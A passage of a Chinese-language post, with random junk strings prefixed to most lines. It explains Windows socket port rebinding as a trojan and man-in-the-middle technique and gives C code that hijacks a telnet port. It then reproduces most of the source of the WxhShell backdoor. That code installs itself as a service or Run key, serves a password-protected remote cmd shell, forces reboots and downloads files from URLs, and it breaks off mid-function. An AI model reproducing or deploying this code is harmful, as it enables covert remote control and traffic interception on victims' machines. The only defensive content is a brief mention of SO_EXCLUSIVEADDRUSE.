在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n8Jx;j s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FGBPhH% (8 "?V4Tl~uu saddr.sin_family = AF_INET;
Qv,|*bf D Y($ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
,)XT;iGQe Y:]~~-f\~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I@a7AuOw zTBr<: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<DiD8")4 N
VzR 2 这意味着什么?意味着可以进行如下的攻击:
e~c;wP~cO &h-d\gMJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
*'vX:n&t 7am ._K 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Q3\j4;jI( XRKL;|cd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
gpsEN(.w too=+'<N</ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
RyC]4QyC w"bQxS~$y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
gVsAz 49~5U+x; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
7_d gQI3y DIH.c7o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Ttb@98 p8Di9\} #include
Ec[=~>;n{l #include
q i}HJkOq #include
R{5Qb?&wOp #include
V#^~JJW^ DWORD WINAPI ClientThread(LPVOID lpParam);
:^71,An >E int main()
*f$mSI= {
B cd6~ WORD wVersionRequested;
MFaK=1 DWORD ret;
]<A|GY0q1 WSADATA wsaData;
Z,qo
jtw BOOL val;
zht^gOs SOCKADDR_IN saddr;
U2=5Nt5 SOCKADDR_IN scaddr;
wt[MzpR P int err;
%F9%t SOCKET s;
zFqH)/ SOCKET sc;
&4sUi K" int caddsize;
RO=[Rr! HANDLE mt;
AQU4~g
mI DWORD tid;
li8l+5d q wVersionRequested = MAKEWORD( 2, 2 );
c~b[_J) err = WSAStartup( wVersionRequested, &wsaData );
.B{3=z^
if ( err != 0 ) {
,(}7 ST printf("error!WSAStartup failed!\n");
abuHu'73 return -1;
p@/!+$^{ }
wy<m&M<Gr saddr.sin_family = AF_INET;
pMYEL %YM4x!6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
w#U3h]>, /_l%Dm? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Z$kff-Y4 saddr.sin_port = htons(23);
rJ]iJ0[I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R8F[
7&( {
9kuL1tcY printf("error!socket failed!\n");
1]aM)}, return -1;
uJA8PfbD }
`MlQPLH val = TRUE;
kB_G L>fc //SO_REUSEADDR选项就是可以实现端口重绑定的
(]^9>3{| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
sbZ)z#Tr {
\/la`D printf("error!setsockopt failed!\n");
` QXO+'j4 return -1;
t8\F7F P }
)\l}i%L: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
gpVZZ:~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Yvs)H'n= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
*oL?R2#7 vXLiYWo if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
63QMv[`, {
v#@"Evh7 ret=GetLastError();
T|Sz~nO}f printf("error!bind failed!\n");
Uc>kCBCd return -1;
wAkpk&R }
g+t-<D"L5 listen(s,2);
]C3{ _?= while(1)
/+.Bc(` {
]Vo;ZY_\ caddsize = sizeof(scaddr);
4 FW~Y //接受连接请求
%N7b
XKDP sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
v*<hE>J0 if(sc!=INVALID_SOCKET)
jxL}tS{j {
C$SuFL(pb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
g2JNa?z if(mt==NULL)
[U]U *x {
\Pi\c~)Pr printf("Thread Creat Failed!\n");
9Iq [@v break;
*r@7 :a5 }
b4ZZyw }
QxH%4 )? CloseHandle(mt);
R22YKXU }
7/a[;`i*! closesocket(s);
S3EY9:^C WSACleanup();
_?M34&.X return 0;
CeSr~Ikg| }
ynvU$}w ~' DWORD WINAPI ClientThread(LPVOID lpParam)
!'w h hi {
D)U
9xA)J SOCKET ss = (SOCKET)lpParam;
c [sydl SOCKET sc;
UBzX%:A unsigned char buf[4096];
Z,)4(#b = SOCKADDR_IN saddr;
jOa .h long num;
^=.R#zrc DWORD val;
D+P( DWORD ret;
F{0Z //如果是隐藏端口应用的话,可以在此处加一些判断
x2=Bu#Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
x^Q:U1 saddr.sin_family = AF_INET;
P}29wr IZ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
bGOOC?[UX saddr.sin_port = htons(23);
/W1!mih if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<qT[ {
?1*Ka printf("error!socket failed!\n");
0_q8t!<xJw return -1;
.T
6NMIp* }
=e](eA; val = 100;
y<0zAsT if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a\>+!Vq {
n/6#rj^$ ret = GetLastError();
_v bCC7Bf8 return -1;
>lQ@" U }
Ok2KTsVl if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5.5<.") {
b3F)$UQ ret = GetLastError();
^ gMoW return -1;
#%O|P&rA
}
z/!LC;( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
I{tY;b'w {
7/+I"~ printf("error!socket connect failed!\n");
;$,=VB:' closesocket(sc);
[~*5uSG closesocket(ss);
1AQVj]#S return -1;
qmqWMLfC }
0b6jGa while(1)
G2qv)7{l2 {
O42`Z9oK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
">cLPXX //如果是嗅探内容的话,可以再此处进行内容分析和记录
:dq.@:+<R //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
VK*Dm:G0 num = recv(ss,buf,4096,0);
\ne1Xu:hM if(num>0)
g%Bh-O9\ send(sc,buf,num,0);
/N= }wC else if(num==0)
?lq break;
`NYu|:JK: num = recv(sc,buf,4096,0);
"@^Pb$BLY if(num>0)
%]7'2 send(ss,buf,num,0);
`ppyCUX else if(num==0)
x1H1[0w,i break;
x1]J }
eyW8?: closesocket(ss);
&H8wYs closesocket(sc);
[As9&]Bv5 return 0 ;
F-AU'o
* }
scX'>\w&c #lAC:>s3U _PT5 ==========================================================
?M!Mb-C[ 94^)Ar~O
下边附上一个代码,,WXhSHELL
T5nBvSVv' 9gq+,g>E_ ==========================================================
J,4,#2M8 [wU e"{ #include "stdafx.h"
,ZGU\t Hb}O/G$a* #include <stdio.h>
fF6bEJl3 #include <string.h>
/]j^a:#"6t #include <windows.h>
C7*n<+e #include <winsock2.h>
:I_p4S.) #include <winsvc.h>
r$[`A_ #include <urlmon.h>
e}dGK=` ,w`g+ 9v #pragma comment (lib, "Ws2_32.lib")
>~@O\n-t #pragma comment (lib, "urlmon.lib")
$7h]A$$Fv 4Vtug> #define MAX_USER 100 // 最大客户端连接数
Q^\m@7O
: #define BUF_SOCK 200 // sock buffer
_%g L #define KEY_BUFF 255 // 输入 buffer
P:D;w2'Q 8\WV.+ #define REBOOT 0 // 重启
RW~!)^ #define SHUTDOWN 1 // 关机
yY[9\! q QcQnd2K #define DEF_PORT 5000 // 监听端口
Fn>KdoByN )<Fq}Q86 #define REG_LEN 16 // 注册表键长度
4)"S/u #define SVC_LEN 80 // NT服务名长度
dG&^M".( >{6U1ft): // 从dll定义API
UQZl:DYa typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[Ef6@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"@z X{^: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Emy=q5ryl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
b?{MXJ| |L/EH~| O // wxhshell配置信息
a\m_Q{: struct WSCFG {
n6AA%? 5 int ws_port; // 监听端口
g(_xo\ char ws_passstr[REG_LEN]; // 口令
"QD>m7 int ws_autoins; // 安装标记, 1=yes 0=no
W4;/;[/L char ws_regname[REG_LEN]; // 注册表键名
GCf,Gfmr char ws_svcname[REG_LEN]; // 服务名
vA3wn>< char ws_svcdisp[SVC_LEN]; // 服务显示名
dx@|M{jz' char ws_svcdesc[SVC_LEN]; // 服务描述信息
Mj&G5R~_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
s$% t2UaV int ws_downexe; // 下载执行标记, 1=yes 0=no
Vv54;Js9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
`j1oxJm char ws_filenam[SVC_LEN]; // 下载后保存的文件名
azz=,^U# |\zzOfaO };
zu3Fi= |0 rJZR8bo // default Wxhshell configuration
(>
W\Nf struct WSCFG wscfg={DEF_PORT,
l~]D|92 "xuhuanlingzhe",
l-Be5?|{_ 1,
]p8zT|bv "Wxhshell",
*
N]^(+/A "Wxhshell",
.k:heN2-x "WxhShell Service",
">._&8KkE0 "Wrsky Windows CmdShell Service",
lihIPMU "Please Input Your Password: ",
_01wRsm%2 1,
nb<e<>L "
http://www.wrsky.com/wxhshell.exe",
u,V_j|(e "Wxhshell.exe"
_tUh*"e& };
V&*|%,q iYZn`OAx // 消息定义模块
_9g-D9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
O8OAXRt/Y char *msg_ws_prompt="\n\r? for help\n\r#>";
(xfh 9=. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.TMLg(2hgv char *msg_ws_ext="\n\rExit.";
}*
\*<d
3 char *msg_ws_end="\n\rQuit.";
,ZghV1z char *msg_ws_boot="\n\rReboot...";
[
*Dj7zt: char *msg_ws_poff="\n\rShutdown...";
fat;5XL@ char *msg_ws_down="\n\rSave to ";
3eg6 CdT ^T:L6: char *msg_ws_err="\n\rErr!";
ph}%Ay$ char *msg_ws_ok="\n\rOK!";
2x>7>;> dz?On\66 char ExeFile[MAX_PATH];
M8Vc5 int nUser = 0;
h!@7'Q HANDLE handles[MAX_USER];
Jd^Lnp6? int OsIsNt;
T|8:_4/l @@j:z;^| SERVICE_STATUS serviceStatus;
"OwK- SERVICE_STATUS_HANDLE hServiceStatusHandle;
]5K+W /GVjesN // 函数声明
cZJ5L>ox int Install(void);
LSo*JO6 int Uninstall(void);
Y[l<fbh(} int DownloadFile(char *sURL, SOCKET wsh);
^,0Lr$+ int Boot(int flag);
lb$_$+@Vr void HideProc(void);
eTFep^[ int GetOsVer(void);
pdB\D int Wxhshell(SOCKET wsl);
I_5/e>9 void TalkWithClient(void *cs);
U
shIQh int CmdShell(SOCKET sock);
W]oa7VAq int StartFromService(void);
76bMy4re int StartWxhshell(LPSTR lpCmdLine);
hxzA1s%~ CuD}Uo+u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
O wuc9 VOID WINAPI NTServiceHandler( DWORD fdwControl );
&r.M~k
> J%-4ZB" // 数据结构和表定义
{G0=A~ SERVICE_TABLE_ENTRY DispatchTable[] =
c<, LE@V {
%&_^I* {wscfg.ws_svcname, NTServiceMain},
!zvjgDlZv {NULL, NULL}
PtYG%/s };
.uVd' 6I: 6+n // 自我安装
,jEc4ih4 int Install(void)
HCsd$M;Hbv {
5x%Blkx char svExeFile[MAX_PATH];
d#TA20` HKEY key;
K-~g IlbQ` strcpy(svExeFile,ExeFile);
JO*/UC>" BPa,P_6( // 如果是win9x系统,修改注册表设为自启动
Fsm6gE`|n if(!OsIsNt) {
pU9.#O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5RvE ), RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Q5ff&CE RegCloseKey(key);
JOpH
Z? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T>]T= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s;YbZ*oaMe RegCloseKey(key);
{1Y@%e return 0;
od{\z }
4d%0a%Z }
q\}+]|nGs }
,cL;,YN else {
5@%.wb4 4uzMO < // 如果是NT以上系统,安装为系统服务
{aN pk,n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
R|}N"J _ if (schSCManager!=0)
g0bYO!gCr {
gs;^SRE I SC_HANDLE schService = CreateService
0Dna+V/jI (
g9q}D- schSCManager,
O>pv/Ns wscfg.ws_svcname,
^ZO! ( wscfg.ws_svcdisp,
Nf^<pT[* SERVICE_ALL_ACCESS,
%s"&|32 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
C+uW]]~I) SERVICE_AUTO_START,
.=9WY_@SZ SERVICE_ERROR_NORMAL,
BGBHA"5fz svExeFile,
mM72>1~L* NULL,
PWyf3 NULL,
~x!up9 NULL,
A$r$g\5+ NULL,
D/f4kkd NULL
MW6z&+Z );
DrKB;6 if (schService!=0)
H)i|?3Ip {
# H
w(w CloseServiceHandle(schService);
iX6>u4~( CloseServiceHandle(schSCManager);
Vn4wk>b}$2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
:u./"[G strcat(svExeFile,wscfg.ws_svcname);
GE(~d ' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
3PGAUQR#"q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
_<LL@IX RegCloseKey(key);
@U18Dj[ return 0;
i4,p\rE0 }
BH1h2OEe# }
w^ut,`yWR CloseServiceHandle(schSCManager);
oR&z,%0wMK }
Q8%_q"C }
?T2>juf]5~ nV7Vc; return 1;
o^vX\a?`u }
l@Vv%w9H g/JF(nkP // 自我卸载
hp)^s7H int Uninstall(void)
gr SF}y!3 {
GM0Q@`d HKEY key;
J _;H .Zczya if(!OsIsNt) {
RC/ 3\' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4_kN';a4Q RegDeleteValue(key,wscfg.ws_regname);
tLWw<)t RegCloseKey(key);
Bj1%}B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R
,qQC< RegDeleteValue(key,wscfg.ws_regname);
];LFv5" RegCloseKey(key);
0mujf return 0;
WA8<:#{e }
@wgd
3BU }
]~I+d/k
d }
~_vSMX else {
Ztg_='n 9Q%lS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\"oZ\_ if (schSCManager!=0)
x{SlJ%V {
T:$^1"\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
u1$6:"2@5k if (schService!=0)
(MI>7| '; {
\4q|Qno8 if(DeleteService(schService)!=0) {
qK a}O* CloseServiceHandle(schService);
&7f8\TG| CloseServiceHandle(schSCManager);
_ \6v@ return 0;
&
"&s, }
G n]qh(N> CloseServiceHandle(schService);
&bW,N }
uqC#h,~
0 CloseServiceHandle(schSCManager);
Y/kq!)u;%L }
hc3hU }
ZOqS"3j! j x%=CEe?6 return 1;
FAEF }
]8\I{LR s2{SbOBis // 从指定url下载文件
e4tIO int DownloadFile(char *sURL, SOCKET wsh)
MqnUym {
0I)$!1~O) HRESULT hr;
/RxP:>hVv char seps[]= "/";
'\I(n|\ char *token;
2+gbMd4n char *file;
p H y char myURL[MAX_PATH];
C7FQc{ char myFILE[MAX_PATH];
y4Jc|) I_ mus<sE strcpy(myURL,sURL);
iPTQqx-m$7 token=strtok(myURL,seps);
Hw]E#S while(token!=NULL)
tp] 5[U {
V:kRr cX file=token;
.J)TIc__|A token=strtok(NULL,seps);
T;/GHC`{Y }
|#@7$#j U =.PL\ GetCurrentDirectory(MAX_PATH,myFILE);
G;l7,1;MU: strcat(myFILE, "\\");
v_!6S|
strcat(myFILE, file);
z%YNZ^d send(wsh,myFILE,strlen(myFILE),0);
B$_4ul\) send(wsh,"...",3,0);
,x8;| o5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
I9S;t_Z< if(hr==S_OK)
OOqT 0wN return 0;
il5C9ql$ else
f+^6.% return 1;
m1X7zU Cy &u.{]Yjx }
\)6glAtN x%}D+2ro-t // 系统电源模块
u#@/^h; int Boot(int flag)
W%!(kN&d {
8wsU`40=Q HANDLE hToken;
0>sa{Z TOKEN_PRIVILEGES tkp;
9GD0jJEu {cm?Q\DT if(OsIsNt) {
_RbfyyaN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=X4Fn^w"4O LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
zuvPV{
X tkp.PrivilegeCount = 1;
~=|}!A( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
N)X Tmh2v| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'47
b"uV if(flag==REBOOT) {
!g|O.mt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
b/'bhE= return 0;
d05xn7%!{ }
,Xn2xOP else {
n%&L&G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Ay16/7h@hi return 0;
p R'J4~ }
/t0L%jJZ }
f^$,; else {
Hf`i~6 if(flag==REBOOT) {
GJ,&$@8) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3f7zW3F return 0;
/f3/}x!po }
{@InOo!4w] else {
KZppQ0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
?"x4u#x return 0;
C}8#yAS9M }
b(*\4n }
E3uu vQ#| Je6[q return 1;
=l`)b }
NI V}hf YF #fuUAbU0X // win9x进程隐藏模块
v"G1vSx)BT void HideProc(void)
y]j.PT`Cw {
YN8x|DLi? Mn0.!J
" HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2)f_L|o,m if ( hKernel != NULL )
_?c.m*)A {
VgHO&vU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'c35%?] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X1^VdJE FreeLibrary(hKernel);
TA[%eMvA }
WX&IQ@ T~[:oil return;
hFIh<m=C?Y }
cbJgeif `|'w]rj:"+ // 获取操作系统版本
`nPdZ. int GetOsVer(void)
H/D=$)3op {
,h*gd^i OSVERSIONINFO winfo;
N*Aw-\Bk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
N<)CG,/w[M GetVersionEx(&winfo);
@>8(f#S% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.|,LBc! return 1;
>tM4|w|
else
@;/Pl>$|'G return 0;
\"O5li3n }
X=sE1RB W:r[o%B // 客户端句柄模块
P6gkbtg int Wxhshell(SOCKET wsl)
C>Ik ; {
7hk)I`o65 SOCKET wsh;
|bnd92fvks struct sockaddr_in client;
]v
${k DWORD myID;
A({czHLhN5 xs"i_se while(nUser<MAX_USER)
h"`\'(,X {
YkKu4f int nSize=sizeof(client);
n8,%<!F^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I{IB>j}8 if(wsh==INVALID_SOCKET) return 1;
'.|} 1w>[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Ic/hVKYG5 if(handles[nUser]==0)
v$}^$8` closesocket(wsh);
I-#!mFl else
u+)!C*ho nUser++;
?@"@9na }
=Vg~ VD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
yq~ ?{J1&;j* return 0;
b<u\THy# }
eb_.@.a .}dLqw // 关闭 socket
7U [C=NL void CloseIt(SOCKET wsh)
j7P49{ {
~^F]t$rz closesocket(wsh);
|O8e;v72g^ nUser--;
0LQRQuh1 ExitThread(0);
#}~tTL }
} 9@rhW ^%\a,~ // 客户端请求句柄
,+i^]yF3j void TalkWithClient(void *cs)
nDrRK {
#/qcp|m iA[T'+.Y SOCKET wsh=(SOCKET)cs;
fG 2)r char pwd[SVC_LEN];
Y9abRrK char cmd[KEY_BUFF];
+R~]5Rxd char chr[1];
}u^bTR?3 int i,j;
:DH@zR `gl?y;xC while (nUser < MAX_USER) {
yCjc5d|tT e#}t
am if(wscfg.ws_passstr) {
Q=Q+*oog if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
WyV4p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A+/Lt>+AS //ZeroMemory(pwd,KEY_BUFF);
I"]E}n d) i=0;
YdI6|o@vc while(i<SVC_LEN) {
HS=w9:, NZGO8u // 设置超时
gc4o
|x fd_set FdRead;
s.z)l$ struct timeval TimeOut;
B;bP~e>W FD_ZERO(&FdRead);
'M%iS4b{IM FD_SET(wsh,&FdRead);
}cz58% TimeOut.tv_sec=8;
ic G 9x TimeOut.tv_usec=0;
P}6#s'07~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Dk\%,[4( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
IQBL;=.J. &^ERaPynd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
B}
qRz pwd
=chr[0]; (CQ! &Z8
if(chr[0]==0xd || chr[0]==0xa) { m]DP{-s4
pwd=0; kV8R.Baf3
break; 3n2^;b/ ]
} Q}&'1J
i++; RrLiH>
} frbd{o
S(=@2A+;
// 如果是非法用户,关闭 socket n l5+#e*\
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %\it4 r3
} $I5|rB/4?
&Hw:65O
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^aaj=p:cV
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *42KLns
`_ ^I 2
while(1) { P#pb48^-
^(Gl$GC$Mu
ZeroMemory(cmd,KEY_BUFF); -Ua5anzB
@Hj]yb5
// 自动支持客户端 telnet标准 |(~IfSE2
j=0; r%: :q^b3
while(j<KEY_BUFF) { Xp;'Wa"@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6~ET@"0uK
cmd[j]=chr[0]; i(A`'V8GY
if(chr[0]==0xa || chr[0]==0xd) { `c:r`Oi?
cmd[j]=0; ['(qeS@5O
break; E.#JCO|(1
} 1mV
'
~W
j++; X'd\b}Bm
} NiG&Lw*8
pTAm}
// 下载文件 ;zqxDl_
if(strstr(cmd,"http://")) { Vb 36R_u
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 65B&>`H~
if(DownloadFile(cmd,wsh)) Ds=d~sN u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w[2E:Nj
else 1sUgjyGQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zRh)q,Dt
} L<
else { "P5,p"k:)
:Nz
TEK
switch(cmd[0]) { %m|BXyf]_B
B{#Fm6
// 帮助 ^Oj^7.T+
case '?': { 6heK8*.T
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &*Z)[Bl
break; <a
CzB7x
} *4 m]UK
// 安装 o<|u4r={s
case 'i': { T&dc)t`o
if(Install()) C
B;j[.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KjA7x
else w^~s4Q_>>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;&b=>kPlZ
break; m%U=:u7#M
} KYhL}C+
// 卸载 o &b\bK%E
case 'r': { '<"%>-^Gn
if(Uninstall())
i[/1AI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |}l/6WHB
else SOD3MsAK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1\TkI=N3
break; B
\V;{:
} .Sm 8t$
// 显示 wxhshell 所在路径 RaiYq#X/
case 'p': { {s@&3i?ZiC
char svExeFile[MAX_PATH]; Vl7V?`_4
strcpy(svExeFile,"\n\r"); ^(*eo e
strcat(svExeFile,ExeFile); )x5w`N]lm
send(wsh,svExeFile,strlen(svExeFile),0); Q{hK+z`D
break; } BP.t$_
} r*7J#M /
// 重启 SM}&
@cJ
case 'b': { H2_6m5[&,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j"0TAYmXwu
if(Boot(REBOOT)) TIV|7nKL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N,)rrBD
else { F0xm%?
closesocket(wsh); "t{D5{q|[k
ExitThread(0); p=Qo92
NH
} FN0<iL
break; Ud-c+, xX
} B)DtJf
// 关机 wh]v{Fi'
case 'd': { <.|]%7
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -P]onD
if(Boot(SHUTDOWN)) O|;|7fCB\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6%VRQ#g!
else { ]xJ2;{JWsO
closesocket(wsh); J@Nq
ExitThread(0); K>+c2;t;
} En+`ZcA\z
break; B3u:D"t
} ~\R+p~>
// 获取shell 3k+46Wp
case 's': { Mc|UD*Z
CmdShell(wsh); LZPLz@=&]
closesocket(wsh); c5Hm94,p
ExitThread(0); c"'JMq
break; $+
\JT/eG9
} ;;17 #T2
// 退出 %Y].i/".;P
case 'x': { h*NBSvn
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X{5(i3?S
CloseIt(wsh); :EC[YAK+D
break; ^@maF<Jb
} G{s
q|1
// 离开 _'r&'s;<z
case 'q': { xirZ.wj W
send(wsh,msg_ws_end,strlen(msg_ws_end),0); M-f; ,>
closesocket(wsh); x8rp Z
WSACleanup(); }!vJ+
exit(1); ,|R\ Z,s
break; !uHVg(}
} |P=-m-W
} C'z}jM`g
} gDsb~>rb|
sU?%"q
// 提示信息 nrZZk QNI
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A3e83g~L
} XuW>GT/
} Pu]Pp`SP
n ^C"v6X
return; _E[)_yH'-
} z`@|v~i0`
`oH6'+fT`;
// shell模块句柄 &FzZpH
int CmdShell(SOCKET sock) #.W<[KZf
{ 8<g9 ~L
STARTUPINFO si; 3hzKd_
ZeroMemory(&si,sizeof(si)); K<w$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U{.y X7
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |NWo.j>4-
PROCESS_INFORMATION ProcessInfo; RS[QZOoW}
char cmdline[]="cmd"; /4-6V
d"8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); arj?U=zy
return 0; )1!*N)$
} 1O;q|p'9
uyWt{>$
// 自身启动模式 G8p6p6*
int StartFromService(void) f>_' ]eM%
{ Y]{~ogsn$:
typedef struct |"EQyV
{ 4] I7t
DWORD ExitStatus; ??`zW
DWORD PebBaseAddress; ],ISWb
DWORD AffinityMask; KdtQJ:_`k
